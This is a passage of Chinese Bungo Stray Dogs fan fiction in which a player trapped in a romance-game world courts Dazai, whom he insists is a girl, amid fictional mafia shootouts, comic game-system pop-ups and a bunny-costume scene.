他以为在游戏里自己的花粉过敏不会犯呢。 回忆起来,后知后觉的尴尬让望月想要捂住脸找个地缝钻进去。 结果没想到在「告白」的过程中,在美少女的面前昏过去了。 啊啊……真是丢脸。 但太宰治似乎对此产生了好奇心。 黑发少年从窗台上轻轻跳下,落地时发出嗒的一声轻响。 那张精致漂亮的脸凑近了粉发少年,鸢色的眸子微微眯起,带着浅浅的笑意,完全不见刚刚嘲讽时的冷漠。 像是猫咪的瞳孔,反复无常,喜怒不定。 他轻声问道,带着一丝好奇的意味。 “那么……” “冒着生命危险都要向我说的话是什么呢,望月君?” 唇形漂亮的嘴唇一张一合,像是在催眠一般,在蛊惑着什么。 “告诉我吧……” 漆黑的鸢眸深不见底,宛如镜面一般完整地倒映着自己的脸,似乎能够看破灵魂深处的想法一样。 望月在太宰治注视下,仿佛被魔力操控似的,嘴巴微微张开,声音在舌尖萦绕。 ——「■■」 某种不知名的本能猛然勒住了他的声音,尽数卡在喉咙里。 像是在警告他,最好不要顺着太宰的心意。 望月缓慢地眨了眨眼睛,看着太宰治那张言笑晏晏的脸蛋,一时间感到茫然。 是昏过去的后遗症吗? 望月犹豫了片刻。 他闭上眼睛深呼吸一口气,重新睁开。 琥珀色的眸子温柔又认真地注视着面前的黑发少女。 在那只神秘的鸢眸的注视下,少年温柔的声音一字一顿,缓缓地,从那浅樱色的薄唇中吐出。 “我「喜欢」你,太宰小姐。” 话音刚落,耳边响起之前从未听过的提示音,急促且尖锐。 【滴】 【滴滴】 ‘……系统?’ 【正在排查程序错误中,请耐心等候】 望月茫然地眨了眨眼,如此机械性的回应倒是第一次发生。 在望月因为突然响起的系统提示而停顿之际,面前的黑发少年的唇角却逐渐上扬。 开心?愉悦? 不。 那只鸢色的眸子颜色越发漆黑,完全不见任何笑意。 像是圣杯之中盛载着的黑泥,无穷无尽,满盈溢出,为人世间降下绝望的灾难。 『啊,果然说出来了啊。』 从很久之前他就发现了。 望月看自己的眼神。 温柔的,珍重的,却又是最冷漠无情的。 像是隔着一层透明的屏幕,面带微笑,平静地看着屏幕中的角色,如同小丑般为自己上演戏剧。 无意识透露出的,不属于这个世界的陌生与疏离感,或许已经说明了问题的实质。 这个世界,只是他的「游戏」。 口中的「喜欢」,或许是真的存在。 但望月的「喜欢」,更像是对待某种电子宠物般的沉溺与宠爱。 虚假得令人作呕。 简直就是包裹着蜜糖的毒药,试图哄骗着他吃下去。 『‘我会拼命努力,让太宰小姐喜欢上我。’』 『‘在这之前,我是不会离开太宰小姐的。’』 ……啊,这就说得通了。 而自己也不过是游戏里一个NPC,用来达成目标的道具。 “噗哈哈、哈哈哈哈哈——” 太宰治忽然低下脑袋,捧腹笑了起来。 直到笑够了,他才终于停下,抹去眼角笑出的生理盐水,看向面前呆愣的粉发少年。 “那么,望月君,你想知道我的回答吗?” “当然……不过太宰小姐也不用立刻做出回答。我只是单纯想要把自己的心意告诉你……” “不,我现在就可以告诉你答案哦。” 他轻笑着打断了望月的话。 太宰治猛地凑近了面前的粉发少年,那张精致漂亮的脸蛋靠得极近,挺翘的鼻尖几乎快要撞上。 每一次呼吸,都能感受到彼此温热的吐息。 因为无论再来多少次都是一样。 周而复始,周而复始。 在一次次失败后,你的脸上还能保持那样温柔无暇的笑容吗? 在看不见完成目标的希望,不得不留在这个游戏之中时,你又会露出怎样绝望痛苦的表情? 太宰治的笑容越来越深,像是从深渊之中爬出的毒蛇,邪恶的竖瞳注视着眼前的猎物,嘶嘶地吐着蛇信子。 他的声音带着最浓稠、最漆黑的恶意,犹如诅咒一般,轻笑着说道。 “那么我的回答是,” “——我是绝对不会喜欢上你的,望月。” 这是我的「报复」。 呐,永远留在这地狱(世界)之中,好好被我折磨吧。 …… 【滴】 太宰见他一副呆呆的样子,扯了扯唇角。 他还想继续嘲笑几句时,也突然忍不住打了个喷嚏。 “……”“……” 河岸边,一人一恶魔此时大眼瞪小眼。 ……差点都快忘了,从入水到现在,他们身上的衣服可一直都是湿着的。 横滨的夜风一吹,自然更冷。 不知道哪儿来的渡鸦发出啊啊的叫声,从头顶上飞过。 场面一度非常尴尬。 第 47 章 第四十七章(含250地雷加更) “虽然说魅魔们吃饭也不挑场地,不论是柔软的大床还是隐秘的草丛,各个地方都有各自的刺激之处……唔,只是你这地方也太独特了。” 望月一边说着,一边浑然不顾身上湿乎乎的衣服,直接走了进去——毕竟房间的主人更不在意,甚至拖着滴水的衣服坐到自己的床上了。 望月打量着太宰治的房间——如果这个集装箱能够称得上是住所的话。 集装箱内几乎什么都没有,只有一张桌子,一张床,一盏吊灯。 里头唯一一个算得上是昂贵的电器,大概是角落中的冰箱。出于好奇,望月打开看了一眼,果不其然里头空空如也。 银发少年瘪了瘪嘴,了无兴趣地把冰箱门关上。 「——太宰准干部的新秘书脑子有病。」 八卦可谓是人的天性。 虽然望月君相貌秀美、性格温柔、能力出众……然而,所谓人无完人,秘书先生的脑子可能有一些小毛病。 比如,性别认知障碍之类的。 “太宰小姐,这是上周的任务报告总结。” “太宰小姐,您的咖啡。” “太宰小姐……” 每当听到这个称呼的时候,黑手党们都忍不住表情扭曲抽搐。 这不是多大的问题,关键在于这位被他认定为是女性的对象,可是太宰治啊!港口Mafia里令人闻风丧胆的「黑色幽灵」、恐怖的「操心师」啊! 说来也奇怪,秘书先生对于其他人的性别认知正常,除了太宰先生——望月秘书不知道为什么,一直坚定地认为对方是位女性。 所以这也是望月被太宰先生针对的原因吧 不过,望月本人倒没有为此产生别的情绪,甚至对方反复无常的脾气笑容满面。 上到写报告出任务,下到泡咖啡备早餐,望月全部做得井井有条,找不出任何差错。 ……这哪里是秘书,可以说是贴身保姆了吧! “望月君,帮我倒一杯咖啡吧。” “我明白了。” 望月颔首,将手中原本准备进行汇报的文件夹放在桌前,转身走出了太宰治的办公室。 当他端着咖啡重新回到办公室时,办公桌前的黑发少女正靠在沙发转椅上,翻阅着文件,而她背后站着几位黑手党,毕恭毕敬地低着头。 望月刚把咖啡放下,少女眼睛都没抬一下,说道。 “哦,忘了说,我要冰咖啡。” 真是恶劣,等他煮完了才提要求啊。 不过望月并没有因为对方的捉弄而生气,而是笑眯眯地将咖啡稍稍往前推了推。 “是冰咖啡哦,您不喜欢烫的食物吧。” “……” 太宰这回终于抬起了头,不咸不淡地瞥了他一眼。 【太宰治好感度+2】 他刚要开口说什么,对方接下来的称呼,成功又让太宰治的脸色黑了回去。 “那么……太宰小姐,请您用咖啡。” 【太宰治好感度-5】 不论他和周围的人说什么,对方依然执拗地认定自己是女性;甚至在卫生间偶遇时,望月以为他走错卫生间,把自己硬生生拉了出去,推进隔壁。 ‘太宰小姐,那是男卫生间,女卫生间在这里哦。’ ……幸亏女卫生间里没有人,不然他大概会被当成变态。 回忆起昨天的事,太宰治有种想要往对方脑袋上开一枪的冲动。 他忍住了……才怪。 黑发少年阴沉着脸,喝下第一口咖啡后,鸢色的眸子微微眯起,重重地放下。 太宰治面无表情地拎起杯耳,倾倒,深色的咖啡液便浇在了任务报告上。顿时醇厚的咖啡香气在空气中弥漫开来。 “啊~啊,咖啡洒了呢。” 溅出的咖啡渍落在报告上,无疑是不能再用了。 太宰治眯起眼睛,注视着对方的表情,勾起唇角嘲弄着说道。 “望月君,拜托你重新手写一份给我吧。” 年轻的黑手党准干部冷漠的声音回荡在办公室内。没人敢说话,房间顿时安静得只剩下薄弱的呼吸声。 太宰身后的黑手党们额头上不禁滑下一滴冷汗。 做到这种程度,即便是好脾气的望月君也该生气了吧。 然而,粉发少年只是微笑着点了点头,顺便收走了已经空掉的咖啡杯。 “我明白了,需要我再为您泡一杯咖啡吗?” “……” 太宰治注视着对方,鸢色的眸子内情绪阴晴不定。 良久之后,他才缓缓吐出一句。 “……不用了,留着你自己喝吧。” 【宿主,我早就说了选择「中原中也」作为初始攻略对象比较轻松啊!】 系统忍不住嘀咕道。 游戏开始前它一直在劝说宿主选择另一位作为初次攻略对象——因为「太宰治」这个角色,攻略难度实在是太高了。 它很担心玩家会因此遇难而退。 然而系统的顾虑显然多余了。 “为什么?太宰小姐不是很可爱吗?” 望月回忆着上午的画面。 绷带少女依靠在桌边,微卷的黑发依附在脸颊周围,显得那张淡漠的脸更加白皙。少女微微抬起下巴,露出冷笑,像是只性格恶劣的野猫。 萌、萌死了—— 望月就差捧住自己的胸口大呼“卡哇伊~”了。 如果系统有人脸,此时大概是一脸智慧。 他的宿主脾气真好——倒不如说是抖M了吧喂! 【宿主你不生气吗?】 “生气?唔,完全没有哦。” 望月惊讶,随即理解了系统的疑惑,忍不住笑了起来。 “……系统,你知道这种闷骚郁娇系角色的攻略要点是什么吗?” 【……什么?】 “是耐心和决心哦。” 【诶?】太宰治的眸色闪了闪,眼神中似乎多了一抹不明的情绪。 望月停顿了半秒,垂下眼睛整理着脑内的信息,继续说道。 “因为这并不是什么重大失误。港口mafia的损失并不多,所有伏击的敌人全部被剿灭,这种恐怖的反击力怎么可能会让其他组织觉得港口mafia失了面子呢。” “不过在安保问题上,田中先生确实有失职。他太过自信于龙头战争结束后港口mafia在横滨的威慑力。然而一旦抱着这种想法,便会成为知名的弱点。” “所以我想您也是想通过这次教训警告他吧。” “按照太宰小姐的性格,我不觉得您是那种会因为别人几句话而改变自己决定的人。” “所以从一开始,您就没准备对田中先生做多严厉的处罚。” “我想莱尔尊的人并不知道这是港口mafia的货物——因为隔壁横山组的人,今天也有一批货物从港口码头走——他们原目标其实应该是横山组的货物才对。” “比起港口mafia这种庞然大物,还是横山组这样的小组织来得好欺负。” “然而很不巧,有人给了假情报,将港口mafia的行动路线给了他们,害得他们撞上了最不想撞上的人。” 望月重新抬起头,注视着太宰治那只冷淡的鸢眸,认真地说到。“所以,这次港口码头遭遇伏击、货物损失以及田中的失职,都在您的计划内。” 太宰治放在身侧的手指动了动。 他脸上的表情没什么变化,却换了个姿势,依靠在沙发上,用手托着自己下巴,似乎在认真听。 “这次港口mafia只是损失了几箱商品和武器,却能成为我们对‘莱尔尊’发起报复的最好借口——毕竟黑手党最在乎的便是脸面,更何况是以‘收到的攻击定要加倍奉还’为组织原则的港口mafia。” “所以,如果莱尔尊足够聪明,那应该能马上反应过来,登门道歉——让出自己进货路线和港口码头的地盘,达成和解。” “牺牲最少的损失,换取更多的利益。” 望月一口气说完了自己的想法,琥珀色的眸子看着太宰治,似乎在等着他说话。 太宰治沉默了一瞬,缓缓开口。 “什么时候想到的?” “在医务室缝针的时候,忽然想到的。还有,刚刚在您身边的时候,更确定了自己的想法。” 太宰治嘴角勾了勾,故意拖长了声音,用懒洋洋的语气做出了评价。 “嗨嗨——残念,只能给你八十分。” “港口mafia的目标可不仅仅是那些蝇头小利的赔偿。” “——港口mafia真正的目标,是以此为机会,让这个组织彻底臣服,或者说,全部吞掉。” “别说是赔偿,届时莱尔尊所有的地盘、商品、贸易路线,全部都属于港口mafia——黑手党就是这样一种疯狂又贪婪的存在呐。” “而且也能起到杀一儆百的效果——警告其他暗藏祸心的组织们,即便是最微不足道的损失,港口mafia也绝不轻让。” “这才是以最小的损失换取最大的利益——利益的最大化。” 黑发少女抬起下巴,明明是坐着,却以一种居高临下的姿态盯着自己;她微微侧过脸,些许凌乱的碎发落在支撑着脸侧的手背绷带上,显得更加乌黑,勾起的唇角好像在哂笑。 这是这么多天以来,太宰治对望月露出的一个笑容——即便这笑容里充满的,都是恶意与黑泥。 【获得CG-「利益?计划?」】 【太宰治好感度+10】 【十点、十点好感度啊!啊啊天呐我没做梦吧,这真的是太宰治吗不会披皮换人了吧?!宿主宿主你看到了吗,你看到了吗!】 系统被这从天而降的惊喜砸晕了脑袋,在望月的脑袋里尖叫。 对于系统的兴奋望月没有回应,只是低头思索着太宰治的话。 果然……自己太天真了吗,他的思考没能脱离孩子气。还是说,不应该将白道的思考策略套用到黑.道上吗…… 不好,别在游戏里学习啊。 望月眨了眨眼,从自己的思绪中抽出身来,却发现太宰治正盯着自己,不知何时已经恢复了平时的恹然。 望月下意识地露出平时那副微笑,而面前的黑发少女却轻哼了一声,神情淡漠地说道。 “看来你很适合这份工作啊。” “谢……” “但同时,你也很不适合这份工作呐,望月君。” 太宰治平静地说道。 “从刚刚开始,手臂就一直在痛吧?看来是麻药的药效过了啊,还抬得起来吗?” “被太宰小姐发现了。” “但或许下一次就不是手臂,而是你的脑袋了。” 黑发少女那双眸子像是黑葡萄般漆黑,幽幽地注视着他。 莫名的,不知为何,望月觉得自己从那只漆黑的眼睛里找不到任何东西,像是被迷雾笼罩的黑色森林,层层叠叠的荆棘枝条遮挡住去路。 荆棘之后是什么?又或者其实什么都没有? “啊…” 望月看着对方的眼睛,忽然愣愣地啊了一声。 “我明白了。” “最大化的利益还不刚刚太宰小姐说的那些,其中还有一项是……” “——让我恐惧您。” 无论是隐瞒真正的计划,还是对田中的处罚,都是想要向我展露自己的残忍、恶劣、阴暗、冷血。 即便是部下也不例外,都是可以当成棋子牺牲掉的存在。 不只是这次,或许是下次,又或许是下下次。 在不适合你的危险任务中,无声无息地消失,化成报告书上一条微不足道的数字,随后丢进碎纸机,无人问津。 「再靠近我搞不好会死掉哦」 ——他希望我知难而退。 充满敌意。 像是路边警惕的野猫,朝着试图靠近的陌生人低吼呲牙。 同时,又是在保护自己。 这简直…… ——太萌了! ‘哦呼,这是什么脆弱可爱的小动物,朝外露出冰冷残忍,只是为了掩藏自己胆小鬼的那面。啊啊啊还有刚刚的表情太赞了,那种CG我可以再看一遍吗?!’ 【……‘脆弱可爱’,你是把他的黑泥全无视掉了吗!宿主你果然是抖M吧!……啊、不过选太宰治这条线的玩家没点抖M属性说不定还玩不下去呢。】 一个优秀的系统已经学会了自我吐槽。 然而此时的望月脑内已经冒出了无数的小星星,在对太宰拉满的滤镜下,完全无视了系统的声音。 太宰治这时候也注意到望月的表情和以往有些不对劲。 僵硬的,忍耐某种情绪。 『害怕?还是愤怒?』 『你的「喜欢」,也仅仅如此。』 说到底,望月和普通人类也没什么区别啊。 太宰治压住心中的失望,勾起唇角想要讥讽什么,结果面前的粉发少年忽然对自己绽开一个灿烂的笑容。 和平时在众人面前那副克制礼貌的微笑截然不同的笑脸。 让人想起什么呢…… 对了,是只有在春天才会盛开的浅色樱花。 太宰治想到。 他不喜欢花,又觉得花是一种很可怜的东西。 拼命了地绽放自己,竭尽全力,朝着众人展示自己的娇艳美丽,或许会得到众人的喜爱、夸耀,被捧上云霄。 但结果呢。 当花瓣凋零,只剩光秃秃的枝干时,身边却空无一人。 又有谁还记得它盛开时的样子。 说到底,人类就是这种只喜爱眼前光景的虚伪生物啊。 “即便前方是「死亡」,我还是想站在您的身边。” 然而望月却这么说道。 『……』 太宰治的眸色闪了闪,嘴唇微启,想要说些什么。 “不过太宰小姐还是多笑笑比较好啊。” “……?” “明明笑起来那么可爱……太宰小姐的笑容简直比大海深处的珍宝还要神秘,却比世界上任何一块宝石都要美丽。” “果然还是笑容更适合你呀,太宰小姐。” “……” 什么笑?哪种笑?是指自己刚刚嘲讽的笑吗? 太宰治木着脸,看着望月又开始发病。 【太宰治好感度-5】 ……啊啊啊啊宿主求你快停下来不要再说了!啊啊啊宝贵的好感、来之不易的好感又掉下去两点了啊! 第二日。 田中看着面前穿着黑西装,手拿清洁工具的粉发少年,呆滞了一秒。 毕竟望月君那副贵公子的优雅气质,和手中的拖把放在同一个画面里,属实显得格格不入 其他的黑手党们路过时都忍不住偷偷瞄一眼,不过迫于上下级关系,又不敢多说什么。 田中硬着头皮问道。 “那个,藤、望月君怎么在这里?” “啊哈哈哈哈…” 望月的脸上露出尴尬又不失礼貌的笑容。 “因为太宰小姐说,‘既然望月你那么关心港口Mafia大厦的卫生状况,那也一起去吧。’所以……” “…所、所以?” “……我也过来扫厕所了。” “呼呼,你还是不明白吧。” “郁娇系和傲娇系角色的共同萌点,那就是攻略前后的反差萌……没错!是「傲/郁」与「娇」啊!” “所谓傲娇,表面上对陌生人/喜欢的人很冷淡或趾高气昂,即展现出“傲”的一面,而一旦关系突破某一界限后,或者遇到某种契机(特殊事件)的时候,就会突然变得害羞、娇俏可人,即表现出“娇”的一面。” “这个反差、这个反差——就是萌之力啊!” 系统听得目瞪口呆,而望月像是被打开什么不得了的开关,眼睛里冒着光,慷慨激昂、滔滔不绝地说着。 “同理,郁娇系角色也是一样啊!” “平日里阴郁的角色,散发着黑暗气,然而攻略下对方后,便能够看到那只会对你一人露出的微笑,柔软又可爱的一面——这是萌点啊!” “像是受伤的小猫,警惕着他人的靠近却又渴望着温暖的港湾;努力靠近路边炸毛的野猫,剥下这层外壳展露内心的过程,才是攻略游戏的精华所在啊!” 望月单手握拳,琥珀色的眸子里迸发出名为阿宅之魂的火焰,声音抑扬顿挫。 系统一时间都听呆了。 ……听上去好像很伟大很了不起,然而内容物却相当阿宅!不要把死宅发言说得像是领导人发言一样慷慨激昂啊! 而且最关键的一点是,宿主你快看看太宰治的好感度啊喂!! 系统在心中疯狂吐槽,尤其是面对太宰治后面那个「-10」的好感时,顿时感到心脏绞痛。 ——没问题吗?真的没问题吗?宿主真的能通关游戏吗?用galgame的方式真的能通关otomegame吗? 不行,作为一个优秀的恋爱系统,它一定要好好指引玩家走上正确的攻略之路! 燃起来了。 无论是望月还是系统,都燃起来了! “而且……” 望月的声音忽然平静了下来,带着一种说不出的温柔。 “——我想看到她们获得幸福快乐的结局,这是我玩galgame时最大的愿望啊。” 好安静。 耳边只剩下水流声,太宰治飘在水中,望着被落日染红的天际,鸢色的眸子空洞,不知道在想什么,或许只是单纯地放空大脑。 直到熟悉的男声打破了寂静。 “太宰小姐?…您在做什么?” 啊,烦人的家伙来了。 像只蠢狗一样,笑眯眯地围着自己转,不管怎么对待都驱赶不开。 要不下次带他去审讯室一趟好了,见识过那样的自己,总归会感到恐惧吧? 太宰治不耐烦地睁开眼睛,便看到望月微笑着看着自己,蜜糖色的眼眸中所蔓延的温柔,让他觉得莫名有些恶心。 于是,他没有搭理对方,闭上眼睛。 紧接着,耳边响起窸窸窣窣的声响。 太宰不得不重新睁开眼睛,阴沉着脸盯着岸边似乎准备下水的某人。 他不知道想到了什么,脸上露出嘲弄的笑容,淡淡地瞥了眼望月后,语气恹恹。 “啊~秘书先生是想要拉我上去吗?不需要啊,我是在自杀哦。” “我知道,也没有想阻止您,只是……” 太宰治看了他一眼。 面对太宰警惕的眼神,望月假装咳嗽了一声,清了清嗓子,微微歪着头笑盈盈地问道。 “——要和我一起殉情吗,这位美丽的小姐?” 黑发少年偏过脸,瞥了一眼隔壁床上像猫一样趴成一团,已经睡着了的银发少年,眸色闪了闪,不知道在想什么。 随后,太宰回正脑袋,重新闭上眼睛。 他的睡眠一向很浅,即便是极轻极弱的动静,也会很快醒来。 住在集装箱的时候,周围的黑暗和寂静包裹着身体,像是躺在某种棺材之中。 凝望着周围的虚无,似乎能够将自己吞噬。 然而此时,自己久违地感觉到一种令人放松的感觉,心脏的跳动平缓又有力。 睡意逐渐袭来,太宰的脑袋之中朦朦胧胧闪过某个念头。 或许,这样也还不错? 第 48 章 第四十八章 办公室内,赭发少年坐在办公桌前处理着日常工作,手边放着一杯黑咖啡。 相较于刚开始接手这些的生疏,经过一段时间锻炼后的中原中也对于文书工作处理起来,已经相当娴熟。 朝着优秀社畜又迈出了一步。 虽然比起坐在办公桌前,他更乐意去现场活动活动筋骨。 此时,办公室的门被敲响,在中原中也的应声下,小泽秘书这才推门进来。 棕发男人朝他微微鞠躬,低声说道。 “中也先生。” 黑发少女的话音刚落,储藏室的门就被人粗暴地一脚踹开。 望月抬头看去,进门的是四五个男人,像是沼泽里腰粗腿短的鳄鱼,个个不是脸上有刀疤就是凶神恶煞,非常标准的反派模样。 ‘说起来游戏建模真的很细致呢,无论是可攻略角色还是路人NPC。之前打的galgame的时候,经常会遇到这种为了节省经费而模糊其他非关键角色脸的情况。’ 望月对着脑内感慨着。 ‘嘛,我倒是不在意那么多啦,毕竟对于玩家来说,美少女们的立绘完美才是一切。’ 【那是当然,市面上那些普通游戏怎么能和我们这款游戏相提并论呢哼哼哼……不过我们现在在这里悠哉悠哉地聊这个真的没问题吗?】 那几个男人原本还在争执着,不知道话题聊到了什么,随后凶狠的目光径直锁定了坐在地上的太宰治。 看到这熟悉的绷带造型后,几人顿时火冒三丈起来。 “哦呀哦呀,这不是阮先生吗,近来如何?” 太宰治像是完全没察觉到对方的愤怒,脸上挂着淡淡的笑意,关切问候的样子反而显得十分嘲讽。 光头男蹲下,伸手拽着太宰治的头发,用明显越南口音的日语咬牙切齿地咒骂道。 “妈的,就是你这个混球小鬼——” “如果不是你给我们的假消息,害得我们惹了一身骚,轮得被港口mafia那群狗追着屁股咬吗!” 抓着头发的手指越缩越紧,太宰治的神情却平淡得一如往常。 “难道不是因为你们跟嗅到肉腥味就流口水的豺狗们一样,又蠢又贪婪,咬到带毒的肉块也是没办法的事咯。” “ 你……难道说是故意的?” “啊啦,现在才反应过来吗?我还以为你们会聪明点,在落入陷阱时就能明白的,看来是我太高估了吗?” “可恶!你这混蛋——” 光头男怒不可遏,直接朝着太宰治的脸来了一拳。 然而太宰治只是闷哼一声,被揍的左脸顿时红肿起来;而本人却依旧轻笑着,眼神却犹如一摊死水,毫无波动,完全不在意脸上的伤痛。 黑发少女双手被束缚着,脸颊红肿,带着一股绮丽的战损凄美感。 太宰治不在意,但是一旁的望月却无法坐视不管。 “等一下!” 原本被忽视的望月的忽然出声,让所有人的注意力集中到了他的身上。 脸颊还带着肿胀的疼意。太宰治偏过脑袋,不紧不慢地瞥了身旁的粉发少年一眼。 粉发少年脸上一向温和的笑意荡然无存,嘴唇紧绷成一条直线,狠狠皱起的眉头很明显带着一股怒意。 难得看到他这幅生气的模样。 【太宰治好感度+2】 “如果有什么不满,请朝着我来。” 望月那双琥珀色的眸子紧盯着面前的男人,声音比以往更加低沉。 “这么对待一位女性,可不是绅士该做的事。” ……? 所有人都愣了一下,迷茫地眨了抓眼睛。 尤其是还揪着太宰治的光头男,脑袋上冒出一个巨大的红色问号。 他低头打量了一眼自己手里的黑发少年,眼神复杂。 女的?这也没看出来啊……无论是从声音还是喉结上来看,应该确实是男性啊……还是说…… 光头男想起老家金三角某样赫赫有名的特产,猛地松开手,忍不住脱口而出, “你是人妖?” “……” 太宰治面无表情,一句话没说。 【太宰治好感度-2】 仓储室一时间鸦雀无声,半空中似乎飘过去六个黑点。 光头男甩了甩脑袋回过神来,往地上啐了口唾沫。 “……反正不管是男的女的还是说人妖,都他娘的无所谓!这家伙骗了我们的事实肯定不会错。喂,光邦,那家伙又是怎么回事?” 他指着望月的鼻子,朝身后的同党吼道。 “这小子是和那个绷带小鬼一起带回来的。” “喂、这张脸我好像见过啊……啊,是那天港口mafia里的人,似乎地位还不低呢。” “可恶,果然他们两个就是一伙的,那绷带小鬼原本就是港口mafia的人!串通好了阴我们呢!” 不知不觉,望月成了他们的目标,被居高而下地围在其中。 男人们的阴影笼罩在头顶,逐渐忽视了太宰治,望月在心中稍稍松了口气。 其中一人一边说着,朝着望月的腹部一踹。 坚硬的皮鞋尖狠狠地顶在胃部,顿时疼痛和喉咙的反酸感一同袭来。望月吃痛地弓起后背,肩膀微微颤抖着。 耳边响起嗡嗡的金属声,完全掩盖住那群家伙们的哄笑。 望月垂下脑袋,让刘海挡住自己不断冒冷汗的脸。 【滴】 【玩家保护机制启动】 【痛觉降低百分之三十,敏感度降低百分之十,精神保护开启】感觉到腹部的疼痛明显减缓,望月身体这才微微放松下来。 光头男转而拎起望月的衣领,迫使他抬起脑袋。 “小子,你不是看不下去我们揍你的同伴吗、那你来挨揍好了。” “嗯啊,乐意代受……唔、” 粉发少年仰头弯起眼睛,微笑着说道。 下一瞬间,他就被一拳头揍到了地上。 牙齿磕破了口腔内壁,铁锈味在舌尖蔓延,鲜红色的血顺着唇角流下,无奈主人的手被拘束着,根本没有办法抬起擦去。 暴力如同雨点般接踵而至,毫不客气地倾泻在望月的身上。但粉发少年始终一声不吭,他的沉默反而让施暴者们更为不爽与愤怒。 痛苦、狰狞、流泪、或是求饶——这才是他们所渴望看得见的。 脑内的畅想得不到满足,闷火让拳下的力度更重。 望月猛地被男人拽起。 布料在对方手中捏得变形,浅粉色的卷发沾满仓储室地上的灰尘。少年白皙的脸上被迫染上青紫和斑斑点点的血迹,鼻尖传来淡淡的湿润感,红色的血花在衣领在绽开。 即便如此狼狈,那双琥珀色的眸子却依然很亮,在老旧昏黄的煤油灯下,呈现出淡淡的金色。 光头男哽顿一瞬,冷笑着说道。 “很抗揍嘛,那你就多挨几下好了。听说你们港口mafia的拷问手段很残忍啊,不知道和我们比起来会怎么样。” “放心,不会那么轻易弄死你的,毕竟要让你多尝尝疼痛的滋味……” “砰——” 熟悉的枪声响起,震得耳朵生疼。 光头男的手不由自主地松开,望月便跌坐回地上。 他难以置信般,缓缓地低下头,直到看见肚子上那枚血窟窿,才摇摇晃晃地朝前跌去。 望月下意识看了过去—— 黑发少女不知何时解开了手上的镣铐和锁链,手中的枪支枪口飘着乳白色的烟雾,鸢色的眸子冰冷不带任何感情,犹如漆黑的泥沼般吞噬一切。 所有人傻了眼。 距离太宰治最近的矮个男人第一个反应过来,看向自己不知何时空空如也的枪袋,顿时冷汗直流。 “什、什么,那是我的枪,这小子——” “砰砰砰——” 很可惜,太宰治没有给他们多话的机会。 他飞快地扣动扳机,子弹精准地穿透剩下几个人的脑袋,头盖骨碎裂的声音令人头皮发麻。 空气中顿时弥漫起刺鼻的硝烟气味,不过很快便被血腥味给盖了下去。 几秒钟过后,站着的人便只剩她一人。 “格.洛.克18……这可是标准的军用武器哦。哈……就是因为这个,你们给我们添了不少麻烦啊。政府可给了我们不小的压力。” 太宰治看了眼手中的手枪,拆开弹夹检查。还剩两颗子弹。他将弹夹装了回去,语气恹恹。 黑色的皮鞋踩在地上那摊深红的血色上,不紧不慢地走到光头男的面前,一脚将光头男正要拿起的手枪踢到一边。 太宰治慢吞吞地蹲下,用滚烫的枪管拍了拍对方的脸。 “嗨~嗨,之后回去会给机会让你好好交代的,提供的卖家,进货的路线,金额、数量、规模……全部、所有的信息,干干净净,一字不差地吐出来。” 太宰治的语气平静,却无比的冰冷。 他背对着光,看不清那张脸上的表情;漆黑一片的鸢眸毫无怜悯,睥睨着地上唯一一个还能喘气的活物。 黑发少女故意拖长了声音,仿佛戏弄般,重复着对方刚刚的话。 “放心,我有避开关键内脏哦。” “不会轻易让你死的,毕竟要让你多尝尝疼痛的滋味嘛……” 那只鸢眼中带着明显意味的讥讽与不屑,刚刚还是被束缚的阶下囚模样,此时却已形式翻转,成为全场唯一的主导者。 【滴】 【获得CG-「血染逆转」】 ‘太帅了,太宰小姐实在是太帅了!我都想为太宰小姐尖叫出声了——’ 望月在脑内朝着系统一阵兴奋。 ‘以为是那种脆弱需要人呵护照顾的苍白花朵,没想到枝干上缠绕着带刺的荆棘——是在黑暗之中绽放的荆棘之花!这种强烈鲜明的对比感实在是戳爆我的萌点,啊啊啊啊太宰小姐卡酷一!!’ 【呜呜呜呜虽然和你说的情况不太对但攻略对象卡酷一这点没错呜呜呜呜——】 一统一人难得达成了共识。 银发少年上身只有一件黑色西装马甲,勾勒出纤细的腰肢,勉强盖过腿根的小短裤,修长匀称的双腿套着渔网丝袜。 最惹眼的,应该是望月银发之间的那对兔耳,黑色的兔耳一只垂下一只竖起,尾骨的位置却是一团毛茸茸的白色兔尾。 本该系着假领结或者领带的脖颈,可惜已经被红色的项圈占据。 看上去更像是只已经有了主人的兔子宠物。 “吾辈可是在为任务做准备哦。” 望月完全没有羞耻心,配合地跳了两下,脑袋上的兔耳应景地抖了抖,自信满满地说道。 “怎么样,吾辈的兔男郎装?既可爱又色|情吧!” 第 49 章 第四十九章(300雷加更) 中原中也的确没有办法否认。 因为某种意义上而言,对方此时看起来确实相当的可爱又色|情。 银发魅魔的身形本就纤细,上半身裸|露出大块白皙皮肤,漂亮纯洁的脸却配上这样的一套性感的衣服,显得格外色气。 “怎么样,这套衣服也很适合吾辈吧~不论是圣洁的唱诗班短袍,还是充满色气的兔男郎造型,对于吾辈来说完全不在话下。” 望月得意地仰着脑袋,脑袋上的兔耳也随着主人的动作抖了抖。 那副欠欠的表情既让人手痒,想要揪起这家伙的兔耳朵让他哇哇乱哭,同时也让人有些想顺着毛摸上几把。 港口mafia顶楼,首领办公室。 欧式厚窗帘被拉开,落地窗外是蔚蓝色的晴空。放眼望去,整座城市犹如国际象棋的棋盘般,错落有致地分布着。 戴着白色手套的黑发男人十指交叉,抵在自己的下巴上,心情愉快地欣赏着眼前的城市美景。 紫红色的眸子眯起,声音愉悦。 “今天真是个好天气呢……我可爱的小爱丽丝~在画什么呢?” 坐在地毯上,穿着红裙的金发小萝莉拿着蜡笔涂鸦的正欢。 听到一旁的黑发男人问自己,她头都没抬起来,一边画着一边回答。 “是之前见过一次的大哥哥。” “诶~这样吗。是什么样的大哥哥呢?” 森鸥外拖长了尾音,脸上却始终挂着浅浅的笑意。 他不紧不慢地踱步到金发萝莉的身后,微微弯下腰。 爱丽丝哼着某首儿歌的曲调,用力在画纸上用蜡笔涂抹着。 “嗯?不知道哦。” 金发萝莉漫不经心地说道,手上的动作并没有停下来。 “我只是碰巧路过,听到旁边的人叫他‘望月’什么的……” “但是,” “他头发的颜色很漂亮,像樱花一样诶!” 白色的画纸上,一个粉色脑袋的小人扯着一张灿烂的笑脸,背景被涂满五颜六色的花朵,云朵、太阳,看上去果真富有童趣。 “「望月」?啊,之前有听说过他的名字,似乎是一个很有意思的孩子呢。” 森鸥外直起腰,手指轻点着脸颊,似乎真的在认真回忆着。 男人轻笑一声,紫眸的目光转向一旁的沙发。 “说起来,那孩子现在是你的秘书对吧。” “太宰君?” “哈……” “这种七拐八绕的试探有必要吗?” 沙发后传来一声厌烦的叹气,熟悉的少年音响起。 